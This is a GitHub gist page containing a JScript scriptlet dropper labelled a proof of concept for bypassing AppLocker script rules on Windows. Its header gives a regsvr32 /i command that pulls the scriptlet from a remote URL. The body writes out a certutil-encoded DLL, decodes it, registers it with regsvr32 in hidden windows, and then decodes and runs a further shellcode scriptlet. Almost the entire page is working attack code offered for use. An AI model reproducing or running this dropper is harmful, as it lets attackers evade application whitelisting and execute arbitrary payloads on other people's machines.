Create a gist now

Instantly share code, notes, and snippets.

@subTee /Dropper.Sct Secret
Last active Dec 27, 2016

Drops and Executes SCT - Bypass AppLocker Script Rules -- C:\Windows\SysWow64\regsvr32.exe /s /u /i:[THIS URL] scrobj.dll
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var fsoForReading = 1;
var fsoForWriting = 2;
// Reference MSDN https://msdn.microsoft.com/en-us/library/aa265347(v=vs.60).aspx
function sleep(delay)
{
var start = new Date().getTime();
while (new Date().getTime() < start + delay);
}
function LoadStringFromFile(filename)
{
var fso, f, data;
fso = new ActiveXObject("Scripting.FileSystemObject");
f = fso.OpenTextFile(filename, fsoForReading, true);
data = f.ReadAll();
f.Close();
return data;
}
function SaveStringToFile(filename, textString)
{
var fso, f;
fso = new ActiveXObject("Scripting.FileSystemObject");
f = fso.OpenTextFile(filename, fsoForWriting, true);
f.Write(textString);
f.Close();
}
// Example File Prep
// Output of 'certuil.exe /encode AllTheThingsx64.dll AllTheThingsx64.txt
// Why bother writing a terrible Base64 encode/decode routine, when certutil.exe will do it for you.
//
var x86dllEncoded = "-----BEGIN CERTIFICATE-----\
TVpsAAEAAAACAAAA//8AAAAAAAARAAAAQAAAAAAAAABXaW4zMiBQcm9ncmFtIQ0K\
JLQJugABzSG0TM0hYAAAAEdvTGluaywgR29Bc20gd3d3LkdvRGV2VG9vbC5jb20A\
UEUAAEwBBwA1dfhIAAAAAAAAAADgAA4hCwEAJgAYAAAAGAAAAAAAAAAQAAAAEAAA\
ADAAAAAAABAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAkAAAAAQAAJTZAAACAAAA\
AAAQAAAAAQAAABAAABAAAAAAAAAQAAAAAHAAALwAAACEYAAAZAAAAABQAACgAwAA\
AAAAAAAAAAAAAAAAAAAAAACAAACgAgAAAAAAAAAAAAAA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CjwvcmVnaXN0cmF0aW9uPg0KPC9zY3JpcHRs\
ZXQ+\
-----END CERTIFICATE-----"
var WshShell = new ActiveXObject("WScript.Shell");
var WshProcEnv = WshShell.Environment("Process");
var process_arch = WshProcEnv("PROCESSOR_ARCHITECTURE");
if(process_arch == "AMD64")
{
SaveStringToFile("DynamicWrapperX.txt", x86dllEncoded);
var r = new ActiveXObject("WScript.Shell").Run("certutil.exe /decode DynamicWrapperX.txt x86.dll", 0);
sleep(5000);
var execFilex64 = new ActiveXObject("WScript.Shell").Run("C:\\Windows\\SysWOW64\\regsvr32.exe /s /i x86.dll", 0);
SaveStringToFile("shellcode.txt", shellcode);
sleep(5000);
var x = new ActiveXObject("WScript.Shell").Run("certutil.exe /decode shellcode.txt shellcode.sct", 0 );
sleep(5000);
var execShellCode = new ActiveXObject("WScript.Shell").Run("C:\\Windows\\SysWOW64\\regsvr32.exe /u /i:shellcode.sct scrobj.dll", 0);
}
else
{
SaveStringToFile("DynamicWrapperX.txt", x86dllEncoded);
var r = new ActiveXObject("WScript.Shell").Run("certutil.exe /decode DynamicWrapperX.txt x86.dll", 0);
sleep(5000);
var execFilex86 = new ActiveXObject("WScript.Shell").Run("C:\\Windows\\System32\\regsvr32.exe /s /i x86.dll", 0);
SaveStringToFile("shellcode.txt", shellcode);
sleep(5000);
var x = new ActiveXObject("WScript.Shell").Run("certutil.exe /decode shellcode.txt shellcode.sct", 0 );
sleep(5000);
var execShellCode = new ActiveXObject("WScript.Shell").Run("C:\\Windows\\System32\\regsvr32.exe /u /i:shellcode.sct scrobj.dll", 0);
}
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment